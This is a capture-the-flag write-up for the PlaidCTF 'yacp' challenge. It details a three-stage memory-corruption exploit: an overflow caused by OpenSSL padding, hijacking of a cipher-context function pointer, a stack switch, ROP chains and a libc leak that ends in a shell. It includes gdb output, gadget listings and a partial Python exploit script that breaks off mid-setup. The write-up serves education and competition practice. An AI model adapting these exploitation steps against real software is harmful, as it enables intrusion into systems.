The organizers threw “yet another crypto problem” (yacp) at us. It’s a 32bit ELF binary that implements a simple encryption / hashing service. In the following we describe our (most likely overly complicated) three-stage exploit that would get us the flag just one hour after the competition ended. The writeup is intentionally written in a rather detailed way, so skip right to the bottom if you’re only interested in the high-level summary of what we did.
According to Hex-Rays, the (somewhat beautified) service we’re dealing with looks like the following:
void __cdecl main(int a1) { int v1; // [sp+1Ch] [bp-8h]@3 setbuf(stdout, 0); OpenSSL_add_all_digests(); OpenSSL_add_all_ciphers(); puts("Welcome to the cryptotool!"); puts("Because apparently, you can never have too much crypto!"); if ( a1 == 1 ) hashcash(); while ( 2 ) { puts("\nWhat would you like to do?"); puts("0. Load data"); puts("1. Generate random data"); puts("2. Hash data"); puts("3. Encrypt data"); puts("4. Decrypt data"); puts("5. Display data"); if ( __isoc99_scanf("%d", &v1) == 1 ) { switch ( v1 ) { case 4: decrypt_data(); continue; case 3: encrypt_data(); continue; case 2: hash_data(); continue; case 1: generate_random_data(); continue; case 0: load_data(); continue; case 5: display_data(); continue; default: goto LABEL_11; } } break; } LABEL_11: puts("Invalid choice. Goodbye"); exit(-1); }
From a high-level perspective, we can choose from six functions: 0)
lets us
store arbitrary data on the server, 1)
fills a buffer with data from
/dev/urandom
, 2)
lets us pick a hashing algorithm to transform data, 3)
and 4)
let us pick an encryption algorithm for [en|de]crypting data, and 5)
is function that echoes back data.
All [hashing|crypto] is implemented using OpenSSL: The user is to pick a
[digest|cipher] by specifying its name as a string, which is passed into
EVP_get_cipherbyname
. The returned value is used as a type
argument to the
high-level OpenSSL EVP
functions EVP_CipherInit_ex
. Encrypting the data is
then done by calling EVP_CipherUpdate
and EVP_CipherFinal_ex
. To make clear,
let’s look at encrypt_data
as an example:
int encrypt_data() { size_t v0; // eax@1 char *v1; // ecx@2 char v2; // al@2 unsigned int in_buf_id; // edi@6 unsigned int out_buf_id; // ebx@6 unsigned int key_buf_id; // esi@6 unsigned int iv_buf_id; // ebp@6 int result; // eax@6 char *lineptr; // [sp+20h] [bp-2Ch]@1 size_t n; // [sp+24h] [bp-28h]@1 int v10; // [sp+28h] [bp-24h]@6 int v11; // [sp+2Ch] [bp-20h]@6 lineptr = 0; _IO_getc(stdin); puts("What type of cipher would you like to perform?"); v0 = getline(&lineptr, &n, stdin); n = v0; if ( v0 <= 1 ) { puts("Sorry, didn't catch that. Goodbye"); } else { v1 = &lineptr[v0 - 1]; v2 = 0; if ( *v1 != 10 ) v2 = *v1; *v1 = v2; evp_cipher = EVP_get_cipherbyname(lineptr); free(lineptr); } if ( !evp_cipher ) { puts("Unknown cipher format. Goodbye"); exit(-1); } __printf_chk(1, "For your input, "); in_buf_id = read_buffer_id(); __printf_chk(1, "For your output, "); out_buf_id = read_buffer_id(); __printf_chk(1, "For your key, "); key_buf_id = read_buffer_id(); __printf_chk(1, "For an IV (use any buffer if not needed) "); iv_buf_id = read_buffer_id(); EVP_CIPHER_CTX_init(&cipher_ctx); EVP_CipherInit_ex(&cipher_ctx, evp_cipher, 0, user_chunk_dat[key_buf_id], user_chunk_dat[iv_buf_id], 1); EVP_CipherUpdate(&cipher_ctx, user_chunk_dat[out_buf_id], &v10, user_chunk_dat[in_buf_id], user_chunk_len[in_buf_id]); EVP_CipherFinal_ex(&cipher_ctx, &user_chunk_dat[out_buf_id][v10], &v11); result = EVP_CIPHER_CTX_cleanup(&cipher_ctx); user_chunk_len[out_buf_id] = v11 + v10; return result; }
The most interesting thing here to note is that all functions operate on two global arrays residing in static memory:
unsigned char user_chunk_dat[0x20][0x800]
are buffers that we can fill using either
load_data
or generate_random_data()
. All hashing and [en|de]cryption
is performed by letting the user select one of the 32 0x800
bytes buffers
as input, output or [crypto|hash] parameters.unsigned int user_chunk_len[0x20]
stores the corresponding length of each
chunk.Unfortunately, whenever user data is written into one of the buffers, the code
ensures that at most 0x800
bytes are written. Additionally, when selecting
the buffer id to operate on, all functions make sure to keep the index in the
range [0, 31], so no luck here as well.
What stands out though is that after [de|en]cryption, the length of the
destination buffer gets updated as the sum of the output lengths of
EVP_CipherUpdate
(v10
above )and EVP_CipherFinal_ex
(v11
above). The
question is whether we can force the sum v11 + v10
to become larger than
0x800
. So what happens if we tryo to encrypt a buffer (buffer 0, in the
following example) of size 0x800
bytes?
➜ pwn300 python3 -c "print('0\n2048\n0\n' + 'AA' * 0x800 + b'3\naes-256-cbc\n0\n0\n1\n1\n5\n0')" | ./run.sh Welcome to the cryptotool! Because apparently, you can never have too much crypto! What would you like to do? 0. Load data 1. Generate random data 2. Hash data 3. Encrypt data 4. Decrypt data 5. Display data How many bytes is the data? Which buffer (0-31) would you like to use? Okay, now please enter your 2048 hex-encoded bytes What would you like to do? 0. Load data 1. Generate random data 2. Hash data 3. Encrypt data 4. Decrypt data 5. Display data What type of cipher would you like to perform? For your input, Which buffer (0-31) would you like to use? For your output, Which buffer (0-31) would you like to use? For your key, Which buffer (0-31) would you like to use? For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use? What would you like to do? 0. Load data 1. Generate random data 2. Hash data 3. Encrypt data 4. Decrypt data 5. Display data Which buffer (0-31) would you like to use? buffer[0] (**2064 bytes**) = b5ebfc02a7268eef24412b9a99d041d7268e03a266c932c1e5fcfb01543aefdfbe3e153 7c0c18a4e4e795783267abda0b5658e7fab79797acffa8a42ba184b811e050935cc63a3 9e84afcbac6b0be99d9b555ffe82dfec88925d2204159bb211a0f4874f6a3132ab16abd 7bf3106918cd270247fb96dbcd9bac1854af32c27dabd00b6b028878e8108a74b0ca187 38e27cdc0d8b0a0c5f89c649b9c9e3a2057103aec1ab590d672de19edb8ddf3cf17cd11 [ ... lots of hex ... ] 5861238e75549bd27de4fcfe608ced3087e1930bfcd606ec24c726127126703c3890e95 59ec7ddeec3d7b54079647fe8531309a658fe5de4249a1c410e12b2b7609bd99d043fbf
Interesting! The resulting encrypted buffer is 2064 (0x810
) bytes in size. The
reason that this happens is that EVP_CipherFinal_ex
happily adds PKCS7 padding
to the block, even if our input already was a multiple of the block size used by
AES … Well, one can’t say the OpenSSL developers didn’t warn you:
man EVP_EncryptFinal_ex [...] If padding is enabled (the default) then EVP_EncryptFinal_ex() encrypts the "final" data, that is any data that remains in a partial block. It uses standard block padding (aka PKCS padding). The encrypted final data is written to out which should have sufficient space for one cipher block. [...]
And indeed to confirm this theory:
from Crypto.Cipher import AES import binascii aes = AES.new(b'\x00' * 0x20, AES.MODE_CBC, b'\x00' * 0x10) enc = 'b5ebfc02a7268eef24412b9a99' ## truncated for better readability aes.decrypt(binascii.unhexlify(enc)) b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' ## [ ... lots of hex again ... ] b'\xaa\xaa\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
This means that we can let the (16 bytes of) encrypted padding of buffer $i$
overflow into buffer $i+1$. So what data structure is directly behind
user_chunk_dat
in the bss
? The user_chunk_dat
array is at 0x0804c0e0
,
each buffer of the 32 buffers is 0x800
in size, so what is at
0x804c0e0 + 0x20 * 0x800 = 0x805c0e0
? IDA tells us the following:
.bss:0805C0E0 ; int user_chunk_len[32] .bss:0805C0E0 user_chunk_len dd ?,?,?,?,?,?,?,? ; DATA XREF: load_data+D6
Directly behind the user_chunk_dat
array is the array storing the
corresponding lengths of the chunks. So, by crafting a suitable plaintext, we
can overwrite the lengths of the first 4 buffers (each length is stored as
unsigned int, 4 bytes in size).
At this point, we were lured a lot into thinking the whole idea of the exploit was centered around CVE-2017-3731, which, as we eventually control the length argument that is being fed into one of the OpenSSL functions, reads almost like a perfect fit:
If an SSL/TLS server or client is running on a 32-bit host, and a specific cipher is being used, then a truncated packet can cause that server or client to perform an out-of-bounds read, usually resulting in a crash. For OpenSSL 1.1.0, the crash can be triggered when using CHACHA20/POLY1305; users should upgrade to 1.1.0d. For Openssl 1.0.2, the crash can be triggered when using RC4-MD5; users who have not disabled that algorithm should update to 1.0.2k Reported by Robert Święcki of Google.
Fixed in OpenSSL 1.1.0d (Affected 1.1.0c, 1.1.0b, 1.1.0a, 1.1.0) Fixed in OpenSSL 1.0.2k (Affected 1.0.2j, 1.0.2i, 1.0.2h, 1.0.2g, 1.0.2f, 1.0.2e, 1.0.2d, 1.0.2c, 1.0.2b, 1.0.2a, 1.0.2)
We are running on a 32-bit host, the shipped libcrypto.so.1.0.0
has version
1.0.2g, so we should have a winner here, right?
Turns out, we do, but the CVE just leads to an out of bounds read, effectively crashing the program (as indicated by the description, admittedly). After realizing this peculiarity (and burning tons of time), we decided to look for better attack targets that finally lead to code execution.
Coming back to the crypto code we saw earlier
EVP_CipherInit_ex(&cipher_ctx, evp_cipher, 0, user_chunk_dat[key_buf_id], user_chunk_dat[iv_buf_id], 0); EVP_CipherUpdate(&cipher_ctx, user_chunk_dat[out_buf_id], &v10, user_chunk_dat[in_buf_id], user_chunk_len[in_buf_id]); EVP_CipherFinal_ex(&cipher_ctx, &user_chunk_dat[out_buf_id][v10], &v11);
it is evident that, because we (somewhat) control user_chunk_ken
, that we can
overwrite everything that is mapped behind the user_chunk_dat
array. Let’s see
what is there:
.bss:0805C0E0 ; int user_chunk_len[32] .bss:0805C0E0 user_chunk_len dd ?,?,?,?,?,?,?,? ; DATA XREF: load_data+D6 .bss:0805C0E0 ; generate_random_data+58 .bss:0805C0E0 ; hash_data+F6 .bss:0805C0E0 ; hash_data+14C .bss:0805C0E0 ; encrypt_data+153 .bss:0805C0E0 ; encrypt_data+1B3 .bss:0805C0E0 ; decrypt_data+153 .bss:0805C0E0 ; decrypt_data+1B3 .bss:0805C0E0 dd ?,?,?,?,?,?,?,? ; 8 .bss:0805C0E0 dd ?,?,?,?,?,?,?,? ; 10h .bss:0805C0E0 dd ?,?,?,?,?,?,?,? ; 18h .bss:0805C160 md_ctx db ?,?,?,?,?,?,?,? ; DATA XREF: hash_data+CD .bss:0805C160 ; hash_data+E6 .bss:0805C160 ; hash_data+10A .bss:0805C160 ; hash_data+130 .bss:0805C160 ; hash_data+13C .bss:0805C160 db ?,?,?,?,?,?,?,? ; 8 .bss:0805C160 db ?,?,?,?,?,?,?,? ; 10h .bss:0805C178 cipher_ctx db ?,?,?,?,?,?,?,? ; DATA XREF: encrypt_data+104 .bss:0805C178 ; encrypt_data+147 .bss:0805C178 ; encrypt_data+177 .bss:0805C178 ; encrypt_data+18F .bss:0805C178 ; encrypt_data+19F .bss:0805C178 ; decrypt_data+104 .bss:0805C178 ; decrypt_data+147 .bss:0805C178 ; decrypt_data+177 .bss:0805C178 ; decrypt_data+18F .bss:0805C178 ; decrypt_data+19F .bss:0805C178 db ?,?,?,?,?,?,?,? ; 8 .bss:0805C178 db ?,?,?,?,?,?,?,? ; 10h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 18h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 20h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 28h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 30h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 38h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 40h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 48h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 50h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 58h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 60h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 68h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 70h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 78h .bss:0805C178 db ?,?,?,?,?,?,?,? ; 80h .bss:0805C178 db ?,?,?,? ; 88h .bss:0805C204 evp_md_digestname dd ? ; DATA XREF: hash_data+71 .bss:0805C204 ; hash_data:loc_8049052 .bss:0805C204 ; hash_data+D9 .bss:0805C208 ; _DWORD evp_cipher .bss:0805C208 evp_cipher dd ? ; DATA XREF: encrypt_data+73 .bss:0805C208 ; encrypt_data:loc_8049204 .bss:0805C208 ; encrypt_data+112 .bss:0805C208 ; decrypt_data+73 .bss:0805C208 ; decrypt_data:loc_8049404 .bss:0805C208 ; decrypt_data+112 [ ... nothing until end of page ... ]
There is not much to attack here. Our only hope is that cipher_ctx
or md_ctx
contains some kind of control flow related data. Let’s inspect some memory in
gdb:
gdb> x/100xw 0x0805c0e0 ,--------------------------------------------- int user_chunk_len[32] V 0x805c0e0: 0x00000820 0x00000000 0x00000000 0x00000000 0x805c0f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c100: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c110: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c120: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c130: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c140: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c150: 0x00000000 0x00000000 0x00000000 0x00000000 ,--------------------------------------------- EVP_MD md_ctx V 0x805c160: 0x00000000 0x00000000 0x00000000 0x00000000 ,--------------------- EVP_CIPHER_CTX cippher_ctx V 0x805c170: 0x00000000 0x00000000 0xf7fc0660 0x00000000 0x805c180: 0x00000001 0x00000000 0x09af3041 0x608789e0 0x805c190: 0x0b3d759e 0x190d207c 0x09af3041 0x608789e0 0x805c1a0: 0x0b3d759e 0x190d207c 0x00000000 0x00000000 0x805c1b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c1c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c1d0: 0x00000020 0x00000000 0x0805e578 0x00000000 0x805c1e0: 0x0000000f 0x00000000 0x00000000 0x00000000 0x805c1f0: 0x00000000 0x00000000 0x00000000 0x00000000 ,--------------------------------- EVP_MD *evp_md_digestname | ,--------------------- EVP_CIPHER *evp_chipher V V 0x805c200: 0x00000000 0x00000000 0xf7fc0660 0x00000000 0x805c210: 0x00000000 0x00000000 0x00000000 0x00000000 0x805c220: [ ... zeroes until end of page ... ]
Comparing the only pointers 0xf7fc0660
, 0x0805e578
with the memory maps of
the virtual address space tells us that none of them are function pointers (i.e.
all pointers point to memory that is not mapped executable):
0x8048000 0x804b000 r-xp 3000 0 ~/ctf/2017_04_pctf/pwn300/yacp 0x804b000 0x804c000 r--p 1000 2000 ~/ctf/2017_04_pctf/pwn300/yacp 0x804c000 0x804d000 rw-p 1000 3000 ~/ctf/2017_04_pctf/pwn300/yacp 0x804d000 0x807e000 rw-p 31000 0 [heap] 0xf7c04000 0xf7c06000 rw-p 2000 0 0xf7c06000 0xf7c09000 r-xp 3000 0 /lib/i386-linux-gnu/libdl-2.24.so 0xf7c09000 0xf7c0a000 r--p 1000 2000 /lib/i386-linux-gnu/libdl-2.24.so 0xf7c0a000 0xf7c0b000 rw-p 1000 3000 /lib/i386-linux-gnu/libdl-2.24.so 0xf7c30000 0xf7ddf000 r-xp 1af000 0 ~/ctf/2017_04_pctf/pwn300/libc.so.6 0xf7ddf000 0xf7de0000 ---p 1000 1af000 ~/ctf/2017_04_pctf/pwn300/libc.so.6 0xf7de0000 0xf7de2000 r--p 2000 1af000 ~/ctf/2017_04_pctf/pwn300/libc.so.6 0xf7de2000 0xf7de3000 rw-p 1000 1b1000 ~/ctf/2017_04_pctf/pwn300/libc.so.6 0xf7de3000 0xf7de6000 rw-p 3000 0 0xf7de6000 0xf7fb8000 r-xp 1d2000 0 ~/ctf/2017_04_pctf/pwn300/libcrypto.so.1.0.0 0xf7fb8000 0xf7fc8000 r--p 10000 1d1000 ~/ctf/2017_04_pctf/pwn300/libcrypto.so.1.0.0 0xf7fc8000 0xf7fcf000 rw-p 7000 1e1000 ~/ctf/2017_04_pctf/pwn300/libcrypto.so.1.0.0 0xf7fcf000 0xf7fd5000 rw-p 6000 0 0xf7fd5000 0xf7fd7000 r--p 2000 0 [vvar] 0xf7fd7000 0xf7fd9000 r-xp 2000 0 [vdso] 0xf7fd9000 0xf7ffb000 r-xp 22000 0 /lib/i386-linux-gnu/ld-2.24.so 0xf7ffc000 0xf7ffd000 r--p 1000 22000 /lib/i386-linux-gnu/ld-2.24.so 0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /lib/i386-linux-gnu/ld-2.24.so 0xfff76000 0xffffe000 rw-p 88000 0 [stack]
Note that the heap being mapped right next to the end of the data segment is a gdb artifact! Therefore continuing the overflow into the heap is not a viable attack vector.
Now, what about the referenced data structures? Do they contain function pointers we could hijack?
gdb> x/20xw 0x0805e578 0x0805e578: 0x09af3041 0x608789e0 0x0b3d759e 0x190d207c 0x0805e588: 0x573621a6 0x686e9e9d 0x425bd2bf 0x0191aa10 0x0805e598: 0xc3d3b1ec 0xa354380c 0xa8694d92 0xb1646dee 0x0805e5a8: 0x9f751d8e 0xf71b8313 0xb54051ac 0xb4d1fbbc 0x0805e5b8: 0xa65e8fe1 0x050ab7ed 0xad63fa7f 0x1c079791 gdb> x/20xw 0xf7fc0660 0xf7fc0660: 0x000001ab 0x00000010 0x00000020 0x00000010 0xf7fc0670: 0x00001002 0xf7ea7770 0xf7ea7730 0x00000000 0xf7fc0680: 0x000000fc 0x00000000 0x00000000 0x00000000 0xf7fc0690: 0x00000000 0x00000000 0x00000000 0x00000000 0xf7fc06a0: 0x00000389 0x00000001 0x00000018 0x00000010
Gotcha! In the second fragment we find 0xf7ea7770
and 0xf7ea7730
, both
pointing into the code section of libcrypto.so
. So, now, finally, we get eip
by
cipher_ctx
struct with a pointer to our fake chunk created
above.So, easy win incoming, right?
Nope. Setting watchpoints on the two pointer locations 0xf7fc0674
and
0xf7fc0678
told us that after calling _EVP_CipherUpdate
(which is the
function that is called with the length argument being too large), the OpenSSL
code never looks at those function pointers again. :( As the cipher_ctx
struct
is initialized by the code each time before it is used, we cannot do a two-stage
attack that first hijacks the struct and then forces the code to call the
compromised function pointers. So we needed a one-shot solution, and, in fact we
found one quickly!
Looking at the source code of EVP_EncryptFinal_ex
we see our attack vector
being hidden quite well:
int EVP_EncryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl) { int n, ret; unsigned int i, b, bl; if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) { ret = M_do_cipher(ctx, out, NULL, 0); if (ret < 0) return 0;
Or, the more readable equivalent assembly code:
.text:000BDF60 public EVP_EncryptFinal_ex .text:000BDF60 EVP_EncryptFinal_ex proc near ; CODE XREF: EVP_EncryptFinal+1B .text:000BDF60 ; EVP_CipherFinal_ex+3E .text:000BDF60 ; EVP_SealFinal+1D .text:000BDF60 ; i2d_RSA_NET+407 .text:000BDF60 ; PEM_SealFinal+104 .text:000BDF60 ; PEM_ASN1_write_bio+49B .text:000BDF60 .text:000BDF60 arg_0 = dword ptr 4 .text:000BDF60 arg_4 = dword ptr 8 .text:000BDF60 arg_8 = dword ptr 0Ch .text:000BDF60 .text:000BDF60 push edi .text:000BDF61 push esi .text:000BDF62 push ebx .text:000BDF63 mov edi, [esp+0Ch+arg_0] .text:000BDF67 call start .text:000BDF6C add ebx, 124094h .text:000BDF72 mov eax, [edi] .text:000BDF74 test byte ptr [eax+12h], 10h .text:000BDF78 jnz short loc_BDFF0 [ ... snip ... ] .text:000BDFF0 push 0 .text:000BDFF2 push 0 .text:000BDFF4 push [esp+14h+arg_4] .text:000BDFF8 push edi .text:000BDFF9 call dword ptr [eax+18h]
As we fully control ctx
, we can easily set bit 9
(EVP_CIPH_FLAG_CUSTOM_CIPHER
) in ctx->cipher->flags
to make sure our fake
pointer at offset 0x18
within the struct is called. And indeed, after all this
struggle we were finally greeted by
*EAX 0x805b8e0 ◂— 0x1ab *EBX 0xf7fc8000 ◂— 0x1e1aa8 *ECX 0xffffcfec —▸ 0xf7c04700 ◂— 0xf7c04700 *EDX 0x805ced0 ◂— 0x0 *EDI 0x805c178 —▸ 0x805b8e0 ◂— 0x1ab *ESI 0x805ced0 ◂— 0x0 EBP 0x80598e0 ◂— 0x0 *ESP 0xffffcf7c —▸ 0xf7ea3ffc (EVP_EncryptFinal_ex+156) ◂— mov edx, eax *EIP 0x41414141 ('AAAA') Program received signal SIGSEGV (fault address 0x41414141) gdb>
We got eip
! Cool. What do we do now? Well, as always, our final goal is to call
system("/bin/bash")
, right? There is just one catch: We have no idea where
glibc
is loaded (we really didn’t feel like having even the tiniest bit of
non-determinism in our exploit, as the hash cash for this task was kinda
expensive) and we only control one call, which is totally different from
actually having ROP.
What one does usually in such a situation is to either look for a suitable stack lifting gadget, which shifts the stack pointer to an attacker controlled region. However, in case of this binary we were unable to find any buffer on the stack controlled by us, so bad luck here.
Second technique is considering a stack switch, which is a viable option if we
control large buffers at known addresses where we could place a fake stack. Hm
… we have plenty of space in the .bss
, so why not try getting esp
to point
there. Do we have a way to load esp
with a pointer pointing to attacker
controlled memory?
➜ pwn300 ROPgadget --binary yacp | grep esp 0x080488a8 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08049920 : add byte ptr es:[eax], al ; add esp, 8 ; pop ebx ; ret 0x080495f4 : add esp, 0x10 ; pop ebx ; pop esi ; pop edi ; ret 0x080498f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048d86 : add esp, 0x1c ; ret 0x08049123 : add esp, 0x24 ; pop ebx ; pop esi ; ret 0x08048f8f : add esp, 0x28 ; pop ebx ; ret 0x08048edd : add esp, 0x2c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048d01 : add esp, 0x2c ; ret 0x0804933a : add esp, 0x3c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804982a : add esp, 0x90 ; pop ebx ; pop esi ; pop edi ; ret 0x080488aa : add esp, 8 ; pop ebx ; ret 0x08048c6a : and al, 4 ; mov dword ptr [esp], 0x804c084 ; call edx 0x08049e3b : call esp 0x08048cfd : clc ; pop ds ; ja 0x8048d24 ; add esp, 0x2c ; ret 0x08048cfc : cmp eax, 0x1f ; ja 0x8048d25 ; add esp, 0x2c ; ret 0x08048d80 : fisttp word ptr [ebp - 0x37f636be] ; add esp, 0x1c ; ret 0x08048d82 : inc edx ; leave ; or eax, ecx ; add esp, 0x1c ; ret 0x08048cff : ja 0x8048d22 ; add esp, 0x2c ; ret 0x0804991f : jecxz 0x804994f ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x080495f2 : jg 0x80495d0 ; add esp, 0x10 ; pop ebx ; pop esi ; pop edi ; ret 0x080498f7 : jne 0x80498e1 ; add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048d81 : lea eax, dword ptr [edx - 0x37] ; or eax, ecx ; add esp, 0x1c ; ret 0x08048d83 : leave ; or eax, ecx ; add esp, 0x1c ; ret 0x08049124 : les esp, ptr [ebx + ebx*2] ; pop esi ; ret 0x08048cb8 : mov dword ptr [esp], 0x804bf08 ; call eax 0x08048c2f : mov dword ptr [esp], 0x804c084 ; call eax 0x08048c6c : mov dword ptr [esp], 0x804c084 ; call edx 0x08048c00 : mov ebx, dword ptr [esp] ; ret 0x08048bff : nop ; mov ebx, dword ptr [esp] ; ret 0x08048bfd : nop ; nop ; mov ebx, dword ptr [esp] ; ret 0x08048bfb : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret 0x080495f1 : or byte ptr [edi - 0x2c], bh ; add esp, 0x10 ; pop ebx ; pop esi ; pop edi ; ret 0x08048d84 : or eax, ecx ; add esp, 0x1c ; ret 0x08048cfe : pop ds ; ja 0x8048d23 ; add esp, 0x2c ; ret 0x08048cfb : sbb al, 0x83 ; clc ; pop ds ; ja 0x8048d26 ; add esp, 0x2c ; ret
No explicit stack manipulation. We were hoping for something like [mov|xchg
esp, <somereg>
but these tend to be rare in 32-bit binaries. Nevertheless, we
found at least a leave; ret
at 0x08048c38
, which perfectly matched our
needs, if only we could control the buffer ebp
is pointing to at crash time.
➜ pwn300 ~/git/ROPgadget/ROPgadget.py --binary yacp | grep leave 0x08048d82 : inc edx ; leave ; or eax, ecx ; add esp, 0x1c ; ret 0x08048d83 : leave ; or eax, ecx ; add esp, 0x1c ; ret 0x08048c38 : leave ; ret 0x08048c94 : mov byte ptr [0x804c0c4], 1 ; leave ; ret 0x08048c99 : or byte ptr [ecx], al ; leave ; ret 0x08048c97 : rol byte ptr [eax + ecx], 1 ; leave ; ret
Coming back to the crash:
*EAX 0x805b8e0 ◂— 0x1ab *EBX 0xf7fc8000 ◂— 0x1e1aa8 *ECX 0xffffcfec —▸ 0xf7c04700 ◂— 0xf7c04700 *EDX 0x805ced0 ◂— 0x0 *EDI 0x805c178 —▸ 0x805b8e0 ◂— 0x1ab *ESI 0x805ced0 ◂— 0x0 EBP 0x80598e0 ◂— 0x0 *ESP 0xffffcf7c —▸ 0xf7ea3ffc (EVP_EncryptFinal_ex+156) ◂— mov edx, eax *EIP 0x41414141 ('AAAA') Program received signal SIGSEGV (fault address 0x41414141) gdb>
0x80598e0
indeed looks familiar! This is well within the area of the
user_chunk_dat
array. We did a quick experiment and picked a different buffer
id for each of the crypto parameters: $27$ for the IV, $28$ for input and
output, and $29$ for the key. Then, python tells us that (0x80598e0-0x0804C0E0)
// 0x800 = 27
. Ooookay, so we could switch stack into the IV used for the crypto.
Not precisely comfortable, but we finally want this flag! We decided that a
complete overlap of the IV and the ROP chain would be too much and first looked
for one gadget that would shift the stack far away from the actual 16 bytes of the
IV (thus being a stack lift after a stack switch, nice!):
➜ pwn300 ~/git/ROPgadget/ROPgadget.py --binary yacp | grep ": add esp" 0x080488a8 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret 0x08049920 : add byte ptr es:[eax], al ; add esp, 8 ; pop ebx ; ret 0x080495f4 : add esp, 0x10 ; pop ebx ; pop esi ; pop edi ; ret 0x080498f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048d86 : add esp, 0x1c ; ret 0x08049123 : add esp, 0x24 ; pop ebx ; pop esi ; ret 0x08048f8f : add esp, 0x28 ; pop ebx ; ret 0x08048edd : add esp, 0x2c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048d01 : add esp, 0x2c ; ret 0x0804933a : add esp, 0x3c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804982a : add esp, 0x90 ; pop ebx ; pop esi ; pop edi ; ret 0x080488aa : add esp, 8 ; pop ebx ; ret
Most of those would do the job, but (for no specific reason) we decided for the
one at 0x080498f9
and enjoyed gdb stepping through our (finally unconstrained)
ROP chain.
The last obstacle now was that we still needed an address pointing into glibc
to calculate where system
was. We did this by writing a classic leak from the
GOT. As the final step, we needed to force the other side to read in a second
stage ROP chain which could finally make use of the (now known) addresses to set
up a call to system("/bin/sh")
; The drama culminated when we found out that
the only function reading continuously from stdin
the readline
in the hash cash
routine - which would happily kill our process if the input wouldn’t satisfy
the constraints imposed by that function. Note that calling readline ourselves
would have involved knowing the address of stdin
in glibc, which
is still unknown in the first stage ROP chain.
As we really, really, really didn’t feel like constructing a second stage ROP
chain that would hash to something the hash cash checker would consider valid, we
reverted to calling scanf
with a string containing a %s
as first argument
and a pointer pointing onto the current esp
value in the .bss
. The latter is
a neat trick to avoid having to switch stack a second time as, after returning
from scanf
, the new ROP chain would simply start at where esp
pointed to by
that time.
Time to profit:
➜ pwn300 ./pwn.py [+] Solving hash for 89bfafeb0199cf6d with length 32 [+] Found: fffffffea5edc3ae3a9abdefc6e54bfe7a0a078e703a1a3e3e33e313ca2e2735 89bfafeb0199cf6d0000000003699bf4 [+] Placing key in memory ... [+] Placing iv and ROP chain in memory ... [+] Placing encrypted fake chunk ... [+] Overwriting length of chunk 2 ... [+] Hijacking md_ctxt struct ... [+] libc @ f73d8000 [+] Shell incoming ... id uid=1000(yacp) gid=1000(yacp) groups=1000(yacp) ls bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old cd /home ls yacp cd yacp ls flag yacp yacp.wrapper cat flag PCTF{porque_no_los_dos}
Awesome! To wrap it up, this is what our exploit does:
0x10
bytes to not interfere with the crypto).unsigned int
in the range $[0x89c; 0x1720]$.CIPHER_CTXT
struct containing a pointer to the stack switch
gadget as cipher
function pointer and the EVP_CIPH_FLAG_CUSTOM_CIPHER
flag set:CIPHER_CTXT
pointer in the .bss
with the value of the chunk from step 5.user_chunk_len
array.0x800
bytes with value 0x41
into buffer 31.user_cunk_len
array.CIPHER_CTXT
struct.EVP_CipherFinal_ex
which triggers the
stack switch into ROP chain stage one.libc
address off puts
that stage one generated and calculate
the offset of system
.system("/bin/sh")
.Easy, right? ;) Thanks for the fun challenge, PPP!
This is the full exploit:
#!/usr/bin/env python3
import struct, socket, time, sys, telnetlib, binascii, re, itertools, hashlib
from Crypto.Cipher import AES
def until(sock, s):
tmp = b''
recv = b''
while s not in tmp:
try:
recv = sock.recv(1)
except socket.timeout:
return b""
print('\x1b[31moooops, timeout on recv {}\x1b[39m'.format(s))
sys.exit(-1)
if len(recv) == 0:
return b""
print('\x1b[31moooops, ret 0 on recv {}\x1b[39m'.format(s))
sys.exit(-1)
tmp += recv
return tmp
local = True
ovf_chunk = 31
iv_chunk = 27
key_chunk = 29
dat_chunk = 28
fake_chunk = 2
if local:
saddr=('localhost', 55555)
#puts_offset = 0x5f870 lawl
puts_offset = 0x5fca0
system_offset = 0x3ada0
else:
saddr=('yacp.chal.pwning.xxx', 7961)
puts_offset = 0x5fca0
system_offset = 0x3ada0
p = lambda x: struct.pack("<I", x)
key = p(0x00fda56) + b"\x00" * 0x1c
iv = b"\x00" * 4 + p(0x080498f9) + b"\x00" * 8
## second stage rop chain executed at the end when stack switching through the
## iv XD
